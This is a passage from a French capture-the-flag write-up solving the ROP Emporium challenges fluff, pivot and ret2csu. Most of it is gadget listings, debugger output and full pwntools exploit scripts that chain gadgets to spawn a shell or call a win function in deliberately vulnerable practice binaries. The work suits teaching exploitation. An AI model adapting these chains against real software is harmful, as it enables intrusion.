0x00000000004008c3 : pop rdi ; ret

Puis vers un mov qui déplace la string /bin//sh dans la section .data :

root@kali:~/rop_emporium/fluff# ROPgadget --binary fluff --depth 20 | grep "mov .*\[" --color

0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

le paramètre depth permet de casser la limite de taille des gadgets affichés.

Cette fois, nous allons devoir ruser pour faire fonctionner la ROP chain car la suite du gadget agis sur l’adresse ou nous souhaitons écrire la chaîne. Pour cela nous allons utiliser les mêmes tips qu’avec badchars pour appliquer un xor sur le premier Octets de la chaîne avec un 0x0pour ne pas altérer la chaîne.

Oui, 128 xor 0, ça fait toujours 128 !

Maintenant il faut modifier le registre r10 :

0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret

Ce gadget se sert de xchg qui va simplement échanger deux valeurs. Pour cela nous allons devoir modifier r11 :

0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret

Le premier gadget met r11 a zéro, le deuxième nous permet de copier la valeur de r12 dans r11.

Toujours pareil à précédemment

Néanmoins, il faut trouver un moyen de mettre des données dans r12 :

0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

Voici notre exploit, obtenus à partir de ces éléments :

#!/usr/bin/env python

from pwn import * 

junk = "A"*40
pop_rdi = p64(0x4008c3)
data_addr = p64(0x601050)
system = p64(0x4005e0)

binsh = "/bin//sh"
mov_qword = p64(0x40084e)
xor_r11_r11 = p64(0x400822)
pop_r12 = p64(0x400832)
xor_r11_r12 = p64(0x40082f)
xchg_r11_r10 = p64(0x400840)

p = process("./fluff")

payload = junk
payload += xor_r11_r11
payload += p64(0) 
payload += pop_r12 
payload += data_addr 
payload += xor_r11_r12 
payload += p64(0) 
payload += xchg_r11_r10 
payload += p64(0) 

payload += xor_r11_r11 
payload += p64(0) 
payload += pop_r12 
payload += binsh
payload += xor_r11_r12
payload += p64(0) 

payload += mov_qword
payload += p64(0) 
payload += p64(0) 
payload += pop_rdi 
payload += data_addr
payload += system


print payload 

info("Send magic bytes in binary")

p.recvuntil(">")
p.sendline(payload)
p.interactive()

Les rop chain sont toujours plus complexes mais nous montrent qu’il est primordial de lire entre les lignes pour trouver des détails intéressants à exploiter.

pivot

Cette fois ça ne rigole plus, deux nouvelles techniques d’un coup :

  • ret2plt
  • stack pivot

Ce binaire offre tout juste la place pour “pivoter” et déplacer le rop chain dans un autre espace mémoire. L’idée ici est de faire un exploit en deux parties, l’une avec le pivot et l’autre avec la partie réellement exploitation.

Smash the stack

Comme chacun des challenges, nous partons sur une valeur de bourrage de 40 octets. Un test rapide au debugger nous permet de confirmer la réécriture de RIP:

#!/usr/bin/env python

from pwn import *

junk = "A"*40

p = process("./pivot")

# debug
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

payload = junk
payload += p64(0xdeadbeef)


p.recvuntil(">")
p.sendline("test")
p.recvuntil(">")
p.sendline(payload)
p.interactive()

une fois lancé et attaché dans GDB :

Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ i r rip
rip            0xdeadbeef          0xdeadbeef
gdb-peda$

stack pivot

Maintenant il nous faut pivoter, fort heureusement le binaire nous envoie une fuite d’adresse à chaque lancement :

root@kali:~/rop_emporium/pivot# ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f356e17ef10
Send your second chain now and it will land there

Nous allons pouvoir l’appeler par ce biais avec des gadgets modifiant RSP :

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot | grep "rsp" --color
0x0000000000400aff : add byte ptr [rax - 0x3d], bl ; xchg rax, rsp ; ret
0x00000000004007cb : add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004007cd : add rsp, 8 ; ret
0x0000000000400b5a : call qword ptr [rsp + rbx*8]
0x0000000000400b02 : xchg rax, rsp ; ret

Nous utiliserons ici 0x0000000000400b02 : xchg rax, rsp ; ret. Mais nous devons avant toutes choses trouver un moyen de modifier RAX:

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot | grep "rax" --color
0x0000000000400afb : nop dword ptr [rax + rax] ; pop rax ; ret
0x00000000004008f8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400b78 : nop dword ptr [rax + rax] ; ret
0x0000000000400945 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400afa : nop word ptr [rax + rax] ; pop rax ; ret
0x0000000000400b00 : pop rax ; ret
0x00000000004008ef : pop rbp ; mov edi, 0x602078 ; jmp rax

Le 0x0000000000400b00 : pop rax ; ret fait l’affaire.

Voici donc une idée de la rop chain de pivot :

40 * A 
pop rax ; ret
[Adresse fuitée par le programme]
xchg rax, rsp ; ret

Nous avons de quoi pivoter !

call foothold function

Étant donné que la fonction foothold n’est pas appelé dans le binaire, elle n’est pas inscrite dans la GOT. Il faut donc l’appeler pour que la GOT soit peuplé. Elle nous servira ensuite pour appeler ret2wina l’aide de l’offset :

root@kali:~/rop_emporium/pivot# objdump -D pivot | grep foot
0000000000400850 <foothold_function@plt>:
  400850:	ff 25 f2 17 20 00    	jmpq   *0x2017f2(%rip)        # 602048 <foothold_function>
  400aeb:	e8 60 fd ff ff       	callq  400850 <foothold_function@plt>

0x400850est représente l’adresse de la fonction dans la PLT et 0x602048 celle de la GOT. Nous pouvons ainsi l’appeler avec son adresse dans le PLT.

calcul de l’offset

Étant donné que nous avons accès a la bibliothèque contenant la fonction foothold, nous pouvons en déterminer les offset :

root@kali:~/rop_emporium/pivot# rabin2 -s libpivot.so | grep foot
057 0x00000970 0x00000970 GLOBAL   FUNC   24 foothold_function
root@kali:~/rop_emporium/pivot# rabin2 -s libpivot.so | grep ret2win
049 0x00000abe 0x00000abe GLOBAL   FUNC   26 ret2win

En soustrayant 0x970 a 0xABE nous obtenons 0x14E, c’est notre offset !!

appel de ret2win

Pour appeler la fonction, nous devons utiliser la dresse GOT de la fonction foothold et lui ajouter l’offset obtenus juste avant. Pour cela nous devons agir sur l’adresse et non plus sur la valeur contenue a cette adresse et enfin l’appeler avec call :

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot  | grep "call" --color
0x0000000000400ac2 : call 0x400818
0x0000000000400b59 : call qword ptr [r12 + rbx*8]
0x0000000000400b5a : call qword ptr [rsp + rbx*8]
0x000000000040098e : call rax
0x0000000000400ca3 : call rsp

Ici, deux solutions s’offrent à nous, voyons voir quel registre nous pouvons additionner :

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot  | grep "rsp" --color
0x0000000000400aff : add byte ptr [rax - 0x3d], bl ; xchg rax, rsp ; ret
0x00000000004007cb : add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004007cd : add rsp, 8 ; ret
0x0000000000400b5a : call qword ptr [rsp + rbx*8]
0x0000000000400ca3 : call rsp
0x0000000000400989 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400988 : je 0x400981 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040098b : mov rbp, rsp ; call rax

Pas RSP, voyons RAX :

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot  | grep "rax" --color
0x0000000000400b7e : add byte ptr [rax], al ; ret
0x0000000000400afd : add byte ptr [rax], r8b ; pop rax ; ret
0x0000000000400b09 : add rax, rbp ; ret
0x00000000004008f2 : and byte ptr [rax], ah ; jmp rax
0x0000000000400967 : and byte ptr [rax], al ; add ebx, esi ; ret

Nous pouvons ici additionner rax avec rbp, nous devons donc trouver un pop rbp et un moyen de charger l’adresse contenus dans rax dans rax :

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot  | grep "\[rax\]" --color
0x00000000004008f2 : and byte ptr [rax], ah ; jmp rax
0x0000000000400967 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400b06 : mov eax, dword ptr [rax] ; ret
0x0000000000400b05 : mov rax, qword ptr [rax] ; ret

root@kali:~/rop_emporium/pivot# ROPgadget --binary pivot  | grep "rbp" --color
0x0000000000400b07 : add bl, al ; add rax, rbp ; ret
0x00000000004008fc : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004008ef : pop rbp ; mov edi, 0x602078 ; jmp rax
0x0000000000400b6b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b6f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400900 : pop rbp ; ret

Maintenant construisons la rop chain :

@ PLT foothold
pop rax
@ GOT foothold
mov [rax] rax ; ret
[Offset]0x14E
add rax, rbp ; ret
call rax ; ret 

Le script :

#!/usr/bin/env python

from pwn import *

#foorhold plt 400850 got 602048
plt_foothold = 0x400850
got_foothold = 0x602048

# pop rax
pop_rax = 0x400b00
# xchg rax rsp
xchg_rax_rsp = 0x400b02
pop_rdi = p64(0x400b73)
pop_rbp = p64(0x400900)
mov_rax_rax = p64(0x400b05)
add_rax_rbp = p64(0x400b09)
call_rax = p64(0x40098e)
junk = "A"*40

p = process("./pivot")

# debug
#pid = util.proc.pidof(p)[0]
#print "The pid is: "+str(pid)
#util.proc.wait_for_debugger(pid)


#stage 1
# Pivot from small area to another one

leaked_addr = int(p.recvline_contains('The Old Gods kindly bestow upon you a place to pivot:').decode('UTF-8').split(' ')[-1], 16)
print hex(leaked_addr)

payload = junk
payload += p64(pop_rax)
payload += p64(leaked_addr)
payload += p64(xchg_rax_rsp)


#payload2 += pop_rdi
#payload2 = junk
payload2 = p64(plt_foothold)
payload2 += p64(pop_rax)
payload2 += p64(got_foothold)
payload2 += mov_rax_rax
payload2 += pop_rbp
payload2 += p64(0x14e)
payload2 += add_rax_rbp
payload2 += call_rax

#p.recvuntil(">")
p.sendline(payload2)
p.recvuntil(">")
p.sendline(payload)
p.interactive()

ret2csu

Nous atteignions le sommet en termes de difficultés. Nous allons ici exploiter une vulnérabilité assez jeune du nom de ret2csu. Pour faire court, tout programme, même minimaliste intègre un morceau de libc linké de manière fixe. Cela permet d’avoir des gadgets ROP performant et surtout disponible partout ! Dans ce dernier challenge, il nous faut appeler la fonction ret2win mais non sans difficultés. Débutons par la recherche des deux gadgets intéressants dans libc_csu_init :

0000000000400840 <__libc_csu_init>:

  400880:	4c 89 fa             	mov    rdx,r15
  400883:	4c 89 f6             	mov    rsi,r14
  400886:	44 89 ef             	mov    edi,r13d
  400889:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  40088d:	48 83 c3 01          	add    rbx,0x1
  400891:	48 39 dd             	cmp    rbp,rbx
  400894:	75 ea                	jne    400880 <__libc_csu_init+0x40>
  400896:	48 83 c4 08          	add    rsp,0x8
  40089a:	5b                   	pop    rbx
  40089b:	5d                   	pop    rbp
  40089c:	41 5c                	pop    r12
  40089e:	41 5d                	pop    r13
  4008a0:	41 5e                	pop    r14
  4008a2:	41 5f                	pop    r15
  4008a4:	c3                   	ret

En fait nous devons utiliser un gadget et un pseudo gadget, le premier a 0x40089a et le deuxième a 0x400880. Nous pouvons grâce a lui modifier le contenus des registres et surtout du registre rdx. Étant donné que le second gadget n’en n’est pas un, nous devons trouver une technique pour le transformer en gadget tout en évitant de créer une erreur de segmentation dans le flux d’exécution.

J’ai bien tenté d’utiliser le call pour appeler la fonction ret2win() mais segfault oblige, j’ai trouver une autre technique menant a un ret. Pour cela nous allons tout bêtement appeler _init :

0000000000400560 <_init>:
  400560:	48 83 ec 08          	sub    rsp,0x8
  400564:	48 8b 05 8d 0a 20 00 	mov    rax,QWORD PTR [rip+0x200a8d]        # 600ff8 <__gmon_start__>
  40056b:	48 85 c0             	test   rax,rax
  40056e:	74 02                	je     400572 <_init+0x12>
  400570:	ff d0                	call   rax
  400572:	48 83 c4 08          	add    rsp,0x8
  400576:	c3                   	ret

Néanmoins, nous ne pouvons pas l’appeler directement, nous trouvons ce que nous cherchons dans _DYNAMIC une variable qui y fait appel :

gdb-peda$ x/16g &_DYNAMIC
0x600e20:	0x1	0x1
0x600e30:	0xc	0x400560
0x600e40:	0xd	0x4008b4
0x600e50:	0x19	0x600e10
0x600e60:	0x1b	0x8
0x600e70:	0x1a	0x600e18
0x600e80:	0x1c	0x8
0x600e90:	0x6ffffef5	0x400298

gdb-peda$ x/g 0x600e38
0x600e38:	0x400560

Elle n’altère pas RBXet offre un joli ret Il faut également prendre garde a ceci :

 40088d:	48 83 c3 01          	add    rbx,0x1
 400891:	48 39 dd             	cmp    rbp,rbx
400896:	48 83 c4 08          	add    rsp,0x8

La première partie va ajouter 1 a la valeur de rbx(que nous initialiserons a 0). La deuxième compare rbpet rbx, il faut donc initialiser rbpa 1. Pour finir le pointeur de stack est incrémenté de 8. Il faut donc ajouter une valeur de bourrage.

Maintenant :

  • appel du gadget 1
  • mise en place des données pour chaque registre :
    • 0x00pour rbx, r13, r14
    • 0x01pour rbp
    • 0x600e38 pour r12
    • 0xdeadcafebabebeef pour r15
  • appel du second gadget
  • envoie d’une valeur de bourrage sur la stack
  • envoie de 0x00 sur tous les registres
  • adresse de ret2win

Scriptons ceci :

#!/usr/bin/env python

from pwn import *

junk = "A"*40

# Note, objdump sort par defaut une syntaxe at n t donc src to dest
#gadget 1

#  40089a	5b                   	pop    rbx
#  40089b	5d                   	pop    rbp
#  40089c	41 5c                	pop    r12
#  40089e	41 5d                	pop    r13
#  4008a0	41 5e                	pop    r14
#  4008a2	41 5f                	pop    r15
#  4008a4	c3                   	retq
gadget1 = p64(0x40089a)

# gadget 2

#  400880	4c 89 fa             	mov    r15,rdx
#  400883	4c 89 f6             	mov    r14,rsi
#  400886	44 89 ef             	mov    r13d,edi
#  400889	41 ff 14 dc          	callq  (r12,rbx,8)
gadget2 = p64(0x400880)

ret2win = p64(0x4007b1)

p = process("./ret2csu")

# debug
#pid = util.proc.pidof(p)[0]
#print "The pid is: "+str(pid)
#util.proc.wait_for_debugger(pid)

payload = b"A"  * 40
payload += gadget1
payload += p64(0x00)            # pop rbx
payload += p64(0x01)            # pop rbp
payload += p64(0x400560)    # pop r12
payload += p64(0x00)            # pop r13
payload += p64(0x00)            # pop r14
payload += p64(0xdeadcafebabebeef) # pop r15
payload += gadget2
payload += p64(0x00)            # add rsp,0x8 padding
payload += p64(0x00)            # rbx
payload += p64(0x00)            # rbp
payload += p64(0x00)            # r12
payload += p64(0x00)            # r13
payload += p64(0x00)            # r14
payload += p64(0x00)            # r15
payload += ret2win

p.recvuntil(">")
p.sendline(payload)
p.interactive()

Références

  • https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
  • https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/
  • https://beta.hackndo.com/return-oriented-programming/
  • https://web.stanford.edu/class/cs107/resources/onepage_x86-64.pdf
  • https://github.com/t00sh/tosh-codes/blob/master/_posts/2013-08-26-rop-tricks-1.md
  • https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf
  • http://www.egr.unlv.edu/~ed/assembly64.pdf
  • https://github.com/Hackndo/misc/blob/master/syscalls64.md
  • https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf
  • https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/
  • https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf

Written on August 28, 2019 by


Retour